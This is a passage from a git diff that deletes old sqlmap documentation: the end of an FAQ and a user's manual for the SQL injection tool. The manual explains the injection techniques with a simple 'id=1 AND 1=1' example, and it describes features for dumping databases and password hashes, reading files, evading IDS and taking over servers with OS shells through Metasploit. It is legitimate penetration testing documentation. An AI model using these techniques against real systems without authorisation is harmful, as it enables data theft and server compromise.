can I support the development? - -<p> -If you think that sqlmap is a great tool, it really played well during -your penetration tests, or you simply like it, you, or your boss, can -<htmlurl url="http://www.sqlmap.org/#donate" name="donate -some money"> to the developers via PayPal. - -<sect1>Can you hack a site for me? - -<p> -<bf>No</bf>. - -<sect1>When sqlmap will switch to the Python 3? - -<p> -Currently there is no pressure on Python projects to switch to the new -version of Python interpreter, as the process of switching, especially on -larger projects can be cumbersome (due to the few backward incompatibilities). -The switch will take place eventually, but currently it's a very low priority task. - -<sect1>What does <tt>"WARNING unknown charset '...'"</tt> mean? - -<p> -sqlmap needs to properly decode page content to be able to properly -detect and deal with internationalized characters. In some cases web developers -are doing mistakes when declaring used web page charset (e.g. <tt>iso_8859</tt> instead -of standardized name <tt>iso-8859</tt>), which can cause problems. As a failsafe mechanism -we've incorporated heuristic detection engine -<htmlurl url="http://chardet.feedparser.org/" name="chardet">, -so in most cases sqlmap will deal with this kind of problems automatically. -Nevertheless, you are strongly advised to report us back those typographic "mistakes" -so we could handle them manually inside the code. - -<p> -Question(s): -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/737" name="#1"> -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/1232" name="#2"> -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/1239" name="#3"> - -<sect1>How to use sqlmap with <tt>mod_rewrite</tt> enabled? - -<p> -Just put * to the place where sqlmap should check for injections in URI -itself. In example: <tt>./sqlmap.py -u "www.site.com/id1/1*/id2/2"</tt> sqlmap -will try to inject the payloads just at that place marked with * character. - -<p> -Question(s): -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/731" name="#1"> -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/728" name="#2"> -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/1258" name="#3"> - -<sect1>Why is sqlmap not able to get password hashes in some cases? - -<p> -You most probably don't have enough permissions for querying on a system -table containing password hashes. - -<p> -Question(s): -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/714" name="#1"> - -<sect1>What is <tt>-</tt><tt>-text-only</tt> switch? - -<p> -Switch <tt>-</tt><tt>-text-only</tt> is used for removing non-textual data (tags, -javascripts, styles,...) from the retrieved page content to further -improve detection capabilities. - -<p> -Question(s): -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/699" name="#1"> - -<sect1>I am getting <tt>"CRITICAL connection timed"</tt> while I am able to browse -the site normally? - -<p> -There are few IDSes that filter out all sqlmap requests based on default -User-Agent HTTP header used (e.g. <tt>"User-agent: sqlmap/1.0-dev"</tt>). To prevent this -kind of situations you are advised to use switch <tt>-</tt><tt>-random-agent</tt>. -If you are getting those kind of messages for all targets then you -most probably need to properly set up your proxy settings (switches <tt>-</tt><tt>-proxy</tt> -and/or <tt>-</tt><tt>-ignore-proxy</tt>) - -<p> -Question(s): -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/1241" name="#1"> - -<sect1>Is it possible to use <tt>"INSERT/UPDATE"</tt> SQL commands via <tt>-</tt><tt>-sql-query</tt> -and/or <tt>-</tt><tt>-sql-shell</tt>? - -<p> -It is possible to use those commands, but only if the stacked injection is supported -by the vulnerable target. In vast majority of cases affected DBMSes by these kind of -attacks are Microsoft SQL Server and PostgreSQL. - -<p> -Question(s): -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/1237" name="#1"> - -<sect1>I am getting <tt>"finally: SyntaxError: invalid syntax"</tt> when trying to run sqlmap? - -<p> -You are most probably using outdated version of Python. sqlmap is generally -supported by Python versions in range 2.5, 2.6 and 2.7, while you are strongly -advised to use versions 2.6 and 2.7. - -<p> -Question(s): -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/1231" name="#1"> - -<sect1>sqlmap is not able to detect/exploit injection while other commercial tools are? - -<p> -In most of those kind of cases blatant error message detection is used by commercial -tools making some "false positive" claims. You have to be aware that -DBMS error message doesn't mean that the affected web application is vulnerable to -SQL injection attacks. sqlmap goes several steps further and never claims -an injection point without making through tests if it can be exploited at the first place. - -<p> -Question(s): -<htmlurl url="http://thread.gmane.org/gmane.comp.security.sqlmap/970" name="#1"> - -</article> diff --git a/doc/README.html b/doc/README.html deleted file mode 100644 index 5dc5ab59e7f..00000000000 --- a/doc/README.html +++ /dev/null @@ -1,3203 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> -<HTML> -<HEAD> - <META NAME="GENERATOR" CONTENT="LinuxDoc-Tools 0.9.66"> - <TITLE>sqlmap user's manual - - -

sqlmap user's manual

- -

by -Bernardo Damele A. G., -Miroslav Stampar

version 1.0-dev, XXX XX, 2012 -
-This document is the user's manual for -sqlmap. -
-

-

1. Introduction

- - -

-

2. Features

- - -

-

3. History

- - -

-

4. Download and update

- -

-

5. Usage

- - -

-

6. License and copyright

- -

-

7. Disclaimer

- -

-

8. Authors

- - -
-

1. Introduction

- -

sqlmap is an open source penetration testing tool that automates the -process of detecting and exploiting SQL injection flaws and taking over of -database servers. It comes with a powerful detection engine, many niche -features for the ultimate penetration tester and a broad range of switches -lasting from database fingerprinting, over data fetching from the -database, to accessing the underlying file system and executing commands -on the operating system via out-of-band connections.

- - -

1.1 Requirements -

- -

sqlmap is developed in -Python, -a dynamic, object-oriented, interpreted programming language freely available from -http://python.org/download/. -This makes sqlmap a cross-platform application which is independant of the -operating system. sqlmap requires Python version 2.6 or above. -To make it even easier, many GNU/Linux distributions come out of the box -with Python installed. Other Unixes and Mac OSX also provide Python packaged -and ready to be installed. -Windows users can download and install the Python installer for x86, AMD64 and Itanium.

-

sqlmap relies on the -Metasploit Framework for some of its post-exploitation takeover -features. You need to grab a copy of the framework from the -download -page - the required version is 3.5 or higher. -For the ICMP tunneling out-of-band takeover technique, sqlmap requires the -Impacket library too.

-

If you are willing to connect directly to a database server (-d switch), -without passing through the web application, you need to install Python bindings -for the database management system that you are going to attack:

-

-

-

-

If you plan to attack a web application behind NTLM authentication or use -the sqlmap update functionality (--update switch) you need to -install respectively -python-ntlm and -python-svn libraries respectively.

-

Optionally, if you are running sqlmap on Windows, you may wish to install the -PyReadline -library in order to take advantage of the sqlmap TAB completion and -history support features in the SQL shell and OS shell. -Note that these functionalities are available natively via the standard Python -readline -library on other operating systems.

-

You can also choose to install the -Psyco library to eventually speed up the sqlmap algorithmic -operations.

- - -

1.2 Scenario -

- -

Detect and exploit a SQL injection

- -

Let's say that you are auditing a web application and found a web page -that accepts dynamic user-provided values via GET, POST -or Cookie parameters or via the HTTP User-Agent -request header. -You now want to test if these are affected by a SQL injection -vulnerability, and if so, exploit them to retrieve as much information as -possible from the back-end database management system, or even be able to -access the underlying file system and operating system.

-

In a simple world, consider that the target url is:

-

-

-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 -
-

-

Assume that:

-

-

-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1 -
-

-

is the same page as the original one and (the condition evaluates to True):

-

-

-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2 -
-

-

differs from the original one (the condition evaluates to False). -This likely means that you are in front of a SQL -injection vulnerability in the id GET parameter of the -index.php page. Additionally, no sanitisation of user's supplied -input is taking place before the SQL statement is sent to the -back-end database management system.

-

This is quite a common flaw in dynamic content web applications and it -does not depend upon the back-end database management system nor on the web -application programming language; it is a flaw within the application code. -The -Open Web Application Security Project -rated this class of vulnerability as the -most common and serious web application vulnerability in their -Top Ten list from 2010.

-

Now that you have found the vulnerable parameter, you can exploit it by -manipulating the id parameter value in the HTTP request.

-

Back to the scenario, we can make an educated guess about the probable -syntax of the SQL SELECT statement where the user supplied value is -being used in the get_int.php web page. In pseudo PHP code:

-

-

-$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id']; -
-

-

As you can see, appending a syntactically valid SQL statement that will -evaluate to a True condition after the value for the id -parameter (such as id=1 AND 1=1) will result in the web application -returning the same web page as in the original request (where no SQL -statement is added). -This is because the back-end database management system has evaluated the -injected SQL statement. -The previous example describes a simple boolean-based blind SQL injection -vulnerability. -However, sqlmap is able to detect any type of SQL injection flaw and adapt -its work-flow accordingly.

-

In this simple scenario it would also be possible to append, not just one or -more valid SQL conditions, but also (depending on the DBMS) stacked SQL -queries. For instance: [...]&id=1;ANOTHER SQL QUERY#.

-

sqlmap can automate the process of identifying and exploiting this type of -vulnerability. -Passing the original address, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 -to sqlmap, the tool will automatically:

-

-

    -
  • Identify the vulnerable parameter(s) (id in this example);
    • -
  • Identify which SQL injection techniques can be used to exploit the -vulnerable parameter(s);
    • -
  • Fingerprint the back-end database management system;
    • -
  • Depending on the user's options, it will extensively fingerprint, -enumerate data or takeover the database server as a whole.
    • -
- -...and depending on supplied options, it will enumerate data or takeover the -database server entirely.

-

There exist many -resources -on the web explaining in depth how to detect, exploit and prevent SQL -injection vulnerabilities in web applications. It is recommendeded that you read -them before going much further with sqlmap.

- -

Direct connection to the database management system

- -

Up until sqlmap version 0.8, the tool has been yet another -SQL injection tool, used by web application penetration testers/newbies/curious -teens/computer addicted/punks and so on. Things move on -and as they evolve, we do as well. Now it supports this new switch, --d, that allows you to connect from your machine to the database -server's TCP port where the database management system daemon is listening -on and perform any operation you would do while using it to attack a -database via a SQL injection vulnerability.

- - -

1.3 Techniques -

- -

sqlmap is able to detect and exploit five different SQL injection -types:

-

-

    -
  • Boolean-based blind SQL injection, also known as inferential -SQL injection: sqlmap replaces or appends to the affected parameter in -the HTTP request, a syntatically valid SQL statement string containing a -SELECT sub-statement, or any other SQL statement whose the user -want to retrieve the output. -For each HTTP response, by making a comparison between the HTTP response -headers/body with the original request, the tool inference the output of -the injected statement character by character. Alternatively, the user -can provide a string or regular expression to match on True pages. -The bisection algorithm implemented in sqlmap to perform this technique -is able to fetch each character of the output with a maximum of seven HTTP -requests. Where the output is not within the clear-text plain charset, -sqlmap will adapt the algorithm with bigger ranges to detect the output.
    • -
  • Time-based blind SQL injection, also known as full blind -SQL injection: sqlmap replaces or appends to the affected parameter in -the HTTP request, a syntatically valid SQL statement string containing a -query which put on hold the back-end DBMS to return for a certain number -of seconds. -For each HTTP response, by making a comparison between the HTTP response -time with the original request, the tool inference the output of -the injected statement character by character. Like for boolean-based -technique, the bisection algorithm is applied.
    • -
  • Error-based SQL injection: sqlmap replaces or appends to -the affected parameter a database-specific error message provoking statement -and parses the HTTP response headers and body in search of DBMS error messages -containing the injected pre-defined chain of characters and the subquery -statement output within. This technique works only when the web application -has been configured to disclose back-end database management system error -messages.
    • -
  • UNION query SQL injection, also known as inband SQL -injection: sqlmap appends to the affected parameter a syntatically -valid SQL statement starting with an UNION ALL SELECT. -This techique works when the web application page passes directly the output -of the SELECT statement within a for loop, or similar, so -that each line of the query output is printed on the page content. -sqlmap is also able to exploit partial (single entry) UNION query SQL -injection vulnerabilities which occur when the output of the -statement is not cycled in a for construct, whereas only the first -entry of the query output is displayed.
    • -
  • Stacked queries SQL injection, also known as multiple -statements SQL injection: sqlmap tests if the web application supports -stacked queries and then, in case it does support, it appends to the affected -parameter in the HTTP request, a semi-colon (;) followed by the -SQL statement to be executed. This technique is useful to run SQL -statements other than SELECT, like for instance, data -definition or data manipulation statements, possibly leading -to file system read and write access and operating system command -execution depending on the underlying back-end database management system -and the session user privileges.
    • -
-

- - -

1.4 Demo -

- -

You can watch several demo videos, they are hosted on -YouTube.

- - -

2. Features

- -

Features implemented in sqlmap include:

- - -

2.1 Generic features -

- -

-

    -
  • Full support for MySQL, Oracle, PostgreSQL, -Microsoft SQL Server, Microsoft Access, SQLite, -Firebird, Sybase and SAP MaxDB database -management systems. -
    • -
  • Full support for five SQL injection techniques: boolean-based -blind, time-based blind, error-based, -UNION query and stacked queries. -
    • -
  • Support to directly connect to the database without passing -via a SQL injection, by providing DBMS credentials, IP address, port and -database name. -
    • -
  • It is possible to provide a single target URL, get the list of -targets from -Burp proxy -or -WebScarab proxy requests log files, get the whole HTTP request -from a text file or get the list of targets by providing sqlmap with a -Google dork which queries -Google search engine and parses its results page. You can also -define a regular-expression based scope that is used to identify which of -the parsed addresses to test. -
    • -
  • Tests provided GET parameters, POST parameters, -HTTP Cookie header values, HTTP User-Agent header value -and HTTP Referer header value to identify and exploit SQL -injection vulnerabilities. It is also possible to specify a comma-separated -list of specific parameter(s) to test. -
    • -
  • Option to specify the maximum number of concurrent HTTP(S) -requests (multi-threading) to speed up the blind SQL injection -techniques. Vice versa, it is also possible to specify the number of -seconds to hold between each HTTP(S) request. Others optimization switches -to speed up the exploitation are implemented too. -
    • -
  • HTTP Cookie header string support, useful when the -web application requires authentication based upon cookies and you have -such data or in case you just want to test for and exploit SQL injection -on such header values. You can also specify to always URL-encode the -Cookie. -
    • -
  • Automatically handles HTTP Set-Cookie header from -the application, re-establishing of the session if it expires. Test and -exploit on these values is supported too. Vice versa, you can also force -to ignore any Set-Cookie header. -
    • -
  • HTTP protocol Basic, Digest, NTLM and Certificate -authentications support. -
    • -
  • HTTP(S) proxy support to pass by the requests to the target -application that works also with HTTPS requests and with authenticated -proxy servers. -
    • -
  • Options to fake the HTTP Referer header value and -the HTTP User-Agent header value specified by user or -randomly selected from a textual file. -
    • -
  • Support to increase the verbosity level of output messages: -there exist seven levels of verbosity. -
    • -
  • Support to parse HTML forms from the target URL and forge -HTTP(S) requests against those pages to test the form parameters against -vulnerabilities. -
    • -
  • Granularity and flexibility in terms of both user's -switches and features. -
    • -
  • Estimated time of arrival support for each query, updated -in real time, to provide the user with an overview on how long it will -take to retrieve the queries' output. -
    • -
  • Automatically saves the session (queries and their output, even if -partially retrieved) on a textual file in real time while fetching the -data and resumes the injection by parsing the session file. -
    • -
  • Support to read options from a configuration INI file rather than -specify each time all of the switches on the command line. Support also to -generate a configuration file based on the command line switches provided. -
    • -
  • Support to replicate the back-end database tables structure and -entries on a local SQLite 3 database. -
    • -
  • Option to update sqlmap to the latest development version from the -subversion repository. -
    • -
  • Support to parse HTTP(S) responses and display any DBMS error -message to the user. -
    • -
  • Integration with other IT security open source projects, -Metasploit and -w3af.
    • -
-

- - -

2.2 Fingerprint and enumeration features -

- -

-

    -
  • Extensive back-end database software version and underlying -operating system fingerprint based upon -error messages, -banner parsing, -functions output comparison and -specific features -such as MySQL comment injection. It is also possible to force the back-end -database management system name if you already know it. -
    • -
  • Basic web server software and web application technology -fingerprint. -
    • -
  • Support to retrieve the DBMS banner, session user -and current database information. The tool can also check if the -session user is a database administrator (DBA). -
    • -
  • Support to enumerate database users, users' password -hashes, users' privileges, users' roles, -databases, tables and columns. -
    • -
  • Automatic recognition of password hashes format and support to -crack them with a dictionary-based attack. -
    • -
  • Support to brute-force tables and columns name. This is -useful when the session user has no read access over the system table -containing schema information or when the database management system does -not store this information anywhere (e.g. MySQL < 5.0). -
    • -
  • Support to dump database tables entirely, a range of -entries or specific columns as per user's choice. The user can also choose -to dump only a range of characters from each column's entry. -
    • -
  • Support to automatically dump all databases' schemas and -entries. It is possibly to exclude from the dump the system databases. -
    • -
  • Support to search for specific database names, specific tables -across all databases or specific columns across all databases' -tables. This is useful, for instance, to identify tables containing -custom application credentials where relevant columns' names contain -string like name and pass. -
    • -
  • Support to run custom SQL statement(s) as in an interactive -SQL client connecting to the back-end database. sqlmap automatically -dissects the provided statement, determines which technique fits best to -inject it and how to pack the SQL payload accordingly.
    • -
-

- - -

2.3 Takeover features -

- -

Some of these techniques are detailed in the white paper -Advanced SQL injection to operating system full control and in the -slide deck -Expanding the control over the operating system from the database.

-

-

    -
  • Support to inject custom user-defined functions: the user -can compile a shared library then use sqlmap to create within the back-end -DBMS user-defined functions out of the compiled shared library file. These -UDFs can then be executed, and optionally removed, via sqlmap. This is -supported when the database software is MySQL or PostgreSQL. -
    • -
  • Support to download and upload any file from the database -server underlying file system when the database software is MySQL, -PostgreSQL or Microsoft SQL Server. -
    • -
  • Support to execute arbitrary commands and retrieve their -standard output on the database server underlying operating system -when the database software is MySQL, PostgreSQL or Microsoft SQL Server. -
      -
    • On MySQL and PostgreSQL via user-defined function injection and -execution.
      • -
    • On Microsoft SQL Server via xp_cmdshell() stored procedure. -Also, the stored procedure is re-enabled if disabled or created from -scratch if removed by the DBA.
      • -
    - -
    • -
  • Support to establish an out-of-band stateful TCP connection -between the attacker machine and the database server underlying -operating system. This channel can be an interactive command prompt, a -Meterpreter session or a graphical user interface (VNC) session as per -user's choice. -sqlmap relies on Metasploit to create the shellcode and implements four -different techniques to execute it on the database server. These -techniques are: -
      -
    • Database in-memory execution of the Metasploit's shellcode -via sqlmap own user-defined function sys_bineval(). Supported on -MySQL and PostgreSQL.
      • -
    • Upload and execution of a Metasploit's stand-alone payload -stager via sqlmap own user-defined function sys_exec() on -MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL -Server.
      • -
    • Execution of Metasploit's shellcode by performing a SMB -reflection attack ( -MS08-068) with a UNC path request from the database server to -the attacker's machine where the Metasploit smb_relay server -exploit listens. Supported when running sqlmap with high privileges -(uid=0) on Linux/Unix and the target DBMS runs as Administrator -on Windows.
      • -
    • Database in-memory execution of the Metasploit's shellcode by -exploiting Microsoft SQL Server 2000 and 2005 -sp_replwritetovarbin stored procedure heap-based buffer -overflow ( -MS09-004). sqlmap has its own exploit to trigger the -vulnerability with automatic DEP memory protection bypass, but it relies -on Metasploit to generate the shellcode to get executed upon successful -exploitation.
      • -
    - -
    • -
  • Support for database process' user privilege escalation via -Metasploit's getsystem command which include, among others, -the -kitrap0d technique ( -MS10-015). -
    • -
  • Support to access (read/add/delete) Windows registry hives.
    • -
-

- - -

3. History

- -

3.1 2011 -

- -

-

    -
  • April 10, -Bernardo and Miroslav release sqlmap -0.9 featuring a totally rewritten and powerful SQL injection -detection engine, the possibility to connect directly to a database -server, support for time-based blind SQL injection and error-based SQL -injection, support for four new database management systems and much more.
    • -
-

- -

3.2 2010 -

- -

-

    -
  • December, -Bernardo and Miroslav have enhanced sqlmap a -lot during the whole year and prepare to release sqlmap 0.9 -within the first quarter of 2011.
    • -
  • June 3, Bernardo -presents -a talk titled Got database access? Own the network! at AthCon -2010 in Athens (Greece).
    • -
  • March 14, -Bernardo and Miroslav release stable version of -sqlmap 0.8 featuring many features. Amongst these, support to -enumerate and dump all databases' tables containing user provided -column(s), stabilization and enhancements to the takeover functionalities, -updated integration with Metasploit 3.3.3 and a lot of minor features and -bug fixes.
    • -
  • March, sqlmap demo videos have been -published.
    • -
  • January, Bernardo is -invited to present at -AthCon conference in -Greece on June 2010.
    • -
-

- -

3.3 2009 -

- -

-

    -
  • December 18, Miroslav Stampar replies to the call for -developers. Along with Bernardo, he actively develops sqlmap from version -0.8 release candidate 2. -
    • -
  • December 12, Bernardo writes to the mailing list a post -titled -sqlmap state of art - 3 years later highlighting the goals -achieved during these first three years of the project and launches a call -for developers. -
    • -
  • December 4, sqlmap-devel mailing list has been merged into -sqlmap-users -mailing list. -
    • -
  • November 20, Bernardo and Guido present again their -research on stealth database server takeover at CONfidence 2009 in Warsaw, -Poland. -
    • -
  • September 26, sqlmap version 0.8 release candidate -1 goes public on the -subversion repository, with all the attack -vectors unveiled at SOURCE Barcelona 2009 Conference. These include an -enhanced version of the Microsoft SQL Server buffer overflow exploit to -automatically bypass DEP memory protection, support to establish the -out-of-band connection with the database server by executing in-memory -the Metasploit shellcode via UDF sys_bineval() (anti-forensics -technique), support to access the Windows registry hives and support to -inject custom user-defined functions. -
    • -
  • September 21, Bernardo and -Guido Landi -present -their research ( -slides) -at SOURCE Conference 2009 in Barcelona, Spain. -
    • -
  • August, Bernardo is accepted as a speaker at two others IT -security conferences, -SOURCE Barcelona 2009 and -CONfidence 2009 Warsaw. -This new research is titled Expanding the control over the operating -system from the database. -
    • -
  • July 25, stable version of sqlmap 0.7 is out! -
    • -
  • June 27, Bernardo -presents -an updated version of his -SQL injection: Not only AND 1=1 slides at -2nd Digital Security Forum in -Lisbon, Portugal. -
    • -
  • June 2, sqlmap version 0.6.4 has made its way to -the official Ubuntu repository too. -
    • -
  • May, Bernardo presents again his research on operating -system takeover via SQL injection at -OWASP AppSec Europe 2009 in Warsaw, Poland and at -EUSecWest 2009 in London, UK. -
    • -
  • May 8, sqlmap version 0.6.4 has been officially -accepted in Debian repository. Details on -this blog post. -
    • -
  • April 22, sqlmap version 0.7 release candidate 1 -goes public, with all the attack vectors unveiled at Black Hat Europe 2009 -Conference. -These include execution of arbitrary commands on the underlying operating -system, full integration with Metasploit to establish an out-of-band -TCP connection, first publicly available exploit for Microsoft Security -Bulletin -MS09-004 against Microsoft SQL Server 2000 and 2005 and others -attacks to takeover the database server as a whole, not only the data from -the database. -
    • -
  • April 16, Bernardo -presents his research ( -slides, -whitepaper) at Black Hat Europe 2009 in Amsterdam, The Netherlands. -The feedback from the audience is good and there has been some -media coverage too. -
    • -
  • March 5, Bernardo -presents for the first time some of the sqlmap recent features and -upcoming enhancements at an international event, -Front Range OWASP Conference 2009 in Denver, USA. The presentation -is titled SQL injection: Not only AND 1=1. -
    • -
  • February 24, Bernardo is accepted as a -speaker at -Black Hat Europe 2009 with a presentation titled Advanced SQL -injection exploitation to operating system full control. -
    • -
  • February 3, sqlmap 0.6.4 is the last point release -for 0.6: taking advantage of the stacked queries test implemented in 0.6.3, -sqlmap can now be used to execute any arbitrary SQL statement, not only -SELECT anymore. Also, many features have been stabilized, tweaked -and improved in terms of speed in this release. -
    • -
  • January 9, Bernardo -presents SQL injection exploitation internals at a -private event in London, UK.
    • -
-

- -

3.4 2008 -

- -

-

    -
  • December 18, sqlmap 0.6.3 is released featuring -support to retrieve targets from Burp and WebScarab proxies log files, -support to test for stacked queries ant time-based blind SQL injection, -rough fingerprint of the web server and web application technologies in -use and more options to customize the HTTP requests and enumerate more -information from the database. -
    • -
  • November 2, sqlmap version 0.6.2 is a "bug fixes" -release only. -
    • -
  • October 20, sqlmap first point release, 0.6.1, goes -public. This includes minor bug fixes and the first contact between the -tool and -Metasploit: -an auxiliary module to launch sqlmap from within Metasploit Framework. -The -subversion development repository goes public again. -
    • -
  • September 1, nearly one year after the previous release, -sqlmap 0.6 comes to life featuring a complete code -refactoring, support to execute arbitrary SQL SELECT statements, -more options to enumerate and dump specific information are added, brand -new installation packages for Debian, Red Hat, Windows and much more. -
    • -
  • August, two public -mailing lists are created on SourceForge. -
    • -
  • January, sqlmap subversion development repository is moved -away from SourceForge and goes private for a while.
    • -
-

- -

3.5 2007 -

- -

-

    -
  • November 4, release 0.5 marks the end of the OWASP -Spring of Code 2007 contest participation. Bernardo has -accomplished all the propsed objects which include also initial -support for Oracle, enhanced support for UNION query SQL injection and -support to test and exploit SQL injections in HTTP Cookie and User-Agent -headers. -
    • -
  • June 15, Bernardo releases version 0.4 as a -result of the first OWASP Spring of Code 2007 milestone. This release -features, amongst others, improvements to the DBMS fingerprint engine, -support to calculate the estimated time of arrival, options to enumerate -specific data from the database server and brand new logging system. -
    • -
  • April, even though sqlmap was not and is not -an OWASP project, it gets -accepted, amongst many other open source projects to OWASP Spring -of Code 2007. -
    • -
  • March 30, Bernardo applies to OWASP -Spring of Code 2007. -
    • -
  • January 20, sqlmap version 0.3 is released, -featuring initial support for Microsoft SQL Server, support to test -and exploit UNION query SQL injections and injection points in POST -parameters.
    • -
-

- -

3.6 2006 -

- -

-

    -
  • December 13, Bernardo releases version 0.2 with -major enhancements to the DBMS fingerprint functionalities and replacement -of the old inference algorithm with the bisection algorithm. -
    • -
  • September, Daniele leaves the project, -Bernardo Damele A. G. -takes it over. -
    • -
  • August, Daniele adds initial support for PostgreSQL and releases -version 0.1. -
    • -
  • July 25, -Daniele Bellucci -registers the sqlmap project on SourceForge and develops it on the -SourceForge subversion repository. The skeleton is implemented and -limited support for MySQL added.
    • -
-

- - -

4. Download and update

- -

sqlmap can be downloaded from its -SourceForge File List page. -It is available in two formats:

-

-

-

- -

You can also checkout the latest development version from the -git -repository:

-

-

-
-$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-
-
-

- -

You can update it at any time to the latest development version by running:

-

-

-
-$ python sqlmap.py --update
-
-
-

-

Or:

-

-

-
-$ git pull
-
-
-

- -

This is strongly recommended before reporting any bug to the -mailing list.

- - -

5. Usage

- -

-

-
-$ python sqlmap.py -h
-
-    sqlmap/1.0 - automatic SQL injection and database takeover tool
-    http://www.sqlmap.org
-
-Usage: python sqlmap.py [options]
-
-Options:
-  --version             show program's version number and exit
-  -h, --help            show this help message and exit
-  -v VERBOSE            Verbosity level: 0-6 (default 1)
-
-  Target:
-    At least one of these options has to be specified to set the source to
-    get target urls from.
-
-    -d DIRECT           Direct connection to the database
-    -u URL, --url=URL   Target url
-    -l LIST             Parse targets from Burp or WebScarab proxy logs
-    -r REQUESTFILE      Load HTTP request from a file
-    -g GOOGLEDORK       Process Google dork results as target urls
-    -c CONFIGFILE       Load options from a configuration INI file
-
-  Request:
-    These options can be used to specify how to connect to the target url.
-
-    --data=DATA         Data string to be sent through POST
-    --cookie=COOKIE     HTTP Cookie header
-    --cookie-urlencode  URL Encode generated cookie injections
-    --drop-set-cookie   Ignore Set-Cookie header from response
-    --user-agent=AGENT  HTTP User-Agent header
-    --random-agent      Use randomly selected HTTP User-Agent header
-    --referer=REFERER   HTTP Referer header
-    --headers=HEADERS   Extra HTTP headers newline separated
-    --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
-    --auth-cred=ACRED   HTTP authentication credentials (name:password)
-    --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
-    --proxy=PROXY       Use a HTTP proxy to connect to the target url
-    --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
-    --ignore-proxy      Ignore system default HTTP proxy
-    --delay=DELAY       Delay in seconds between each HTTP request
-    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
-    --retries=RETRIES   Retries when the connection timeouts (default 3)
-    --scope=SCOPE       Regexp to filter targets from provided proxy log
-    --safe-url=SAFURL   Url address to visit frequently during testing
-    --safe-freq=SAFREQ  Test requests between two visits to a given safe url
-
-  Optimization:
-    These options can be used to optimize the performance of sqlmap.
-
-    -o                  Turn on all optimization switches
-    --predict-output    Predict common queries output
-    --keep-alive        Use persistent HTTP(s) connections
-    --null-connection   Retrieve page length without actual HTTP response body
-    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
-
-  Injection:
-    These options can be used to specify which parameters to test for,
-    provide custom injection payloads and optional tampering scripts.
-
-    -p TESTPARAMETER    Testable parameter(s)
-    --dbms=DBMS         Force back-end DBMS to this value
-    --os=OS             Force back-end DBMS operating system to this value
-    --prefix=PREFIX     Injection payload prefix string
-    --suffix=SUFFIX     Injection payload suffix string
-    --tamper=TAMPER     Use given script(s) for tampering injection data
-
-  Detection:
-    These options can be used to specify how to parse and compare page
-    content from HTTP responses when using blind SQL injection technique.
-
-    --level=LEVEL       Level of tests to perform (1-5, default 1)
-    --risk=RISK         Risk of tests to perform (0-3, default 1)
-    --string=STRING     String to match in page when the query is valid
-    --regexp=REGEXP     Regexp to match in page when the query is valid
-    --text-only         Compare pages based only on the textual content
-
-  Techniques:
-    These options can be used to tweak testing of specific SQL injection
-    techniques.
-
-    --technique=TECH    SQL injection techniques to test for (default BEUST)
-    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
-    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
-    --union-char=UCHAR  Character to use for bruteforcing number of columns
-
-  Fingerprint:
-    -f, --fingerprint   Perform an extensive DBMS version fingerprint
-
-  Enumeration:
-    These options can be used to enumerate the back-end database
-    management system information, structure and data contained in the
-    tables. Moreover you can run your own SQL statements.
-
-    -b, --banner        Retrieve DBMS banner
-    --current-user      Retrieve DBMS current user
-    --current-db        Retrieve DBMS current database
-    --is-dba            Detect if the DBMS current user is DBA
-    --users             Enumerate DBMS users
-    --passwords         Enumerate DBMS users password hashes
-    --privileges        Enumerate DBMS users privileges
-    --roles             Enumerate DBMS users roles
-    --dbs               Enumerate DBMS databases
-    --tables            Enumerate DBMS database tables
-    --columns           Enumerate DBMS database table columns
-    --schema            Enumerate DBMS schema
-    --count             Retrieve number of entries for table(s)
-    --dump              Dump DBMS database table entries
-    --dump-all          Dump all DBMS databases tables entries
-    --search            Search column(s), table(s) and/or database name(s)
-    -D DB               DBMS database to enumerate
-    -T TBL              DBMS database table to enumerate
-    -C COL              DBMS database table column to enumerate
-    -U USER             DBMS user to enumerate
-    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
-    --start=LIMITSTART  First query output entry to retrieve
-    --stop=LIMITSTOP    Last query output entry to retrieve
-    --first=FIRSTCHAR   First query output word character to retrieve
-    --last=LASTCHAR     Last query output word character to retrieve
-    --sql-query=QUERY   SQL statement to be executed
-    --sql-shell         Prompt for an interactive SQL shell
-
-  Brute force:
-    These options can be used to run brute force checks.
-
-    --common-tables     Check existence of common tables
-    --common-columns    Check existence of common columns
-
-  User-defined function injection:
-    These options can be used to create custom user-defined functions.
-
-    --udf-inject        Inject custom user-defined functions
-    --shared-lib=SHLIB  Local path of the shared library
-
-  File system access:
-    These options can be used to access the back-end database management
-    system underlying file system.
-
-    --file-read=RFILE   Read a file from the back-end DBMS file system
-    --file-write=WFILE  Write a local file on the back-end DBMS file system
-    --file-dest=DFILE   Back-end DBMS absolute filepath to write to
-
-  Operating system access:
-    These options can be used to access the back-end database management
-    system underlying operating system.
-
-    --os-cmd=OSCMD      Execute an operating system command
-    --os-shell          Prompt for an interactive operating system shell
-    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
-    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
-    --os-bof            Stored procedure buffer overflow exploitation
